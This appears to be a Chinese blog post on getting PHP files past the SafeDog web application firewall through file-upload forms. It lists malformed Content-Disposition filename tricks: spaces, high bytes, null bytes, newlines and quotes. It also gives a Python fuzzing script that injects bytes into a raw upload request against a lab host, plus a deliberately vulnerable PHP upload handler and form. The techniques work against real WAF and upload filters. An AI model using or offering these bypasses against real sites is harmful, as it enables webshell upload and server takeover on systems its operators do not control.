PHPCMS v9.5.6 通杀getshell(前台)

漏洞url:http: wooyun jozxing cc static bugs wooyun-2014-062881 html 很好的fuzz思路。

漏洞url:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-062881.html

 

很好的fuzz思路。

文章提到:文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉.该特性雷同Windows下对"."和" "(空格), ::$DATA的忽略。

这个特性可以用来绕过安全狗,比如 xxx.php.  比较早期的安全狗就不对这个后缀进行拦截。

  

这是最新版的绕过安全狗进行上传。思路是和fuzz的思路一样,应该早就有人发出来了,但是没修。所以记录一下。

 

对于上传的包:Content-Disposition: form-data; name="file"; filename= "x.php";

 

注意看filename= "x.php";   等号后面有个空格,这样就能绕过安全狗进行上传了,支持的有  09,20

对于上传的包:Content-Disposition: form-data; name="file"; filename="x.php�";

x.php后面也就是漏洞所说的 %81--%99会被干掉 安全狗对于这个也不防御。 �支持的有 81-99 ,00

Content-Disposition: form-data; name="file"; filename="2v333332322vx
.php";

加个换行也能绕过安全狗

 

在补充个,如果能上传的网站对于上传的名字没有修改,那么可以加单引号来绕过安全狗。

 

fuzz的脚本如下。

需要hackhttp的包,pip install hackhttp

#!/usr/local/bin/ python
# -*- coding: utf-8 -*-

__author__ = 'yangxiaodi'

import urllib
import hackhttp
import random
hackhttp=hackhttp.hackhttp()



def randstr(num):
    sts = ''
    char = '1234567890abcdexyz'
    for i in range(num):
        sts += random.choice(char)
    return sts

def hex_to_ascii(ch):
    return '{:c}'.format(int(float.fromhex(ch)))

raw_data = '''POST /copy.php HTTP/1.1
Host: 172.16.220.136
Content-Length: 296
Cache-Control: max-age=0
Origin: http://172.16.220.136
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ9o2JkrnEtFaefTV
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://172.16.220.136/1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close

------WebKitFormBoundaryJ9o2JkrnEtFaefTV
Content-Disposition: form-data; name="file"; filename="q.php";
Content-Type: text/xml

<?php phpinfo();?>
------WebKitFormBoundaryJ9o2JkrnEtFaefTV
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryJ9o2JkrnEtFaefTV--

'''

for u in range(625,872):
    for i in range(1,255):
        s = '%03d' % i
        shex = hex_to_ascii(s)
        data=raw_data[:u]+shex+raw_data[u:]
        code, head, html, redirect_url, log=hackhttp.http(url="http://172.16.220.136/copy.php", raw=data)
        if 'upload/q.php<br>' in html:
            print u,i,data,html,'\n'

 

 

copy.php如下

<?php

if(isset($_POST['submit'])){

	$savefile = $_FILES['file']['name'];

	$tempfile = $_FILES['file']['tmp_name'];

	$savefile = preg_replace("/(php4)(\.|$)/i", "_\\1\\2", $savefile);//这里是整个漏洞的核心代码,同样这里进行了简化,我们只关注php

	$savefile = 'upload/'.$savefile;



	if(upload($tempfile,$savefile,true)){


		exit('Success upload,path is:'.$savefile."<br>");

	}

}

function upload($src,$dst,$mode=false){

	if($mode){


		if(copy($src,$dst)){

			return true;

		}

	}else{

		if(@move_uploaded_file($src,$dst)){

			return true;

		}

	}

	return false;

}

?>

  

1.html如下

<html>

<body>

<form method="post" action="copy.php" enctype="multipart/form-data">

 <input type="file" name="file" value="1111"/>

 <input type="submit" name="submit" value="upload"/>

</form>

</body>

</html>

  

  

 

标签: 上传